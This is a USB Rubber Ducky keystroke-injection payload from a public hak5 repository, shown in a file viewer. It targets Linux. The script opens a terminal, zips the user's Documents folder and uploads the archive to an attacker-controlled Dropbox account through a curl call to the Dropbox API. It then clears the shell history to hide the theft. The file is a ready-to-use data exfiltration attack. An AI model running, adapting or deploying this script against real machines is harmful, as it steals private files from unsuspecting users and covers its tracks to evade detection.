Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/ExfiltrateLinuxContentWithDropbox/payload.txt
2968 views
1
REM ##########################################################
2
REM # |
3
REM # Title : Exfiltrate Linux Content With Dropbox |
4
REM # Author : Aleff |
5
REM # Version : 1.0 |
6
REM # Category : Exfiltration, Execution |
7
REM # Target : Linux |
8
REM # |
9
REM ##########################################################
10
11
REM Requirements:
12
REM - Internet Connection
13
REM - Dropbox Account
14
REM - - DROPBOX_ACCESS_TOKEN
15
16
17
DELAY 1000
18
CTRL-ALT t
19
20
DELAY 2000
21
REM Required: Set here your Dropbox access TOKEN
22
DEFINE TOKEN example
23
STRING ACCESS_TOKEN="
24
STRING TOKEN
25
STRING "
26
ENTER
27
28
DELAY 500
29
STRING USER_NAME=$(whoami)
30
ENTER
31
32
DELAY 500
33
STRING path="/home/$USER_NAME/Documents"
34
ENTER
35
36
DELAY 500
37
STRING RANDOM=$(shuf -i 1-999999999999 -n 1)
38
ENTER
39
40
DELAY 500
41
STRING NAME="$RANDOM.zip"
42
ENTER
43
44
DELAY 500
45
STRING ZIP_PATH="$path/$NAME"
46
ENTER
47
48
DELAY 500
49
REM The FOLDER that you want to zip, in this example you want to zip all Documents content
50
STRING FOLDER="/home/$USER_NAME/Documents/"
51
ENTER
52
53
REM Delay for zipping operation, it depends by computer power and folder directory
54
DELAY 10000
55
56
DELAY 500
57
STRING if [ -r "$FOLDER" ]; then
58
ENTER
59
STRING zip -r "$ZIP_PATH" "$FOLDER" > /dev/null 2>&1
60
ENTER
61
STRING else
62
ENTER
63
STRING echo ""
64
ENTER
65
STRING fi
66
ENTER
67
68
DELAY 500
69
STRING DROPBOX_FOLDER="/$NAME"
70
ENTER
71
72
73
DELAY 500
74
DEFINE DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload
75
STRING curl -X POST
76
STRING DROPBOX_API_CONST
77
STRING --header "Authorization: Bearer $ACCESS_TOKEN" --header "Dropbox-API-Arg: {\"path\": \"$DROPBOX_FOLDER\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" --header "Content-Type: application/octet-stream" --data-binary "@$ZIP_PATH"
78
ENTER
79
80
DELAY 2000
81
STRING history -c
82
ENTER
83
84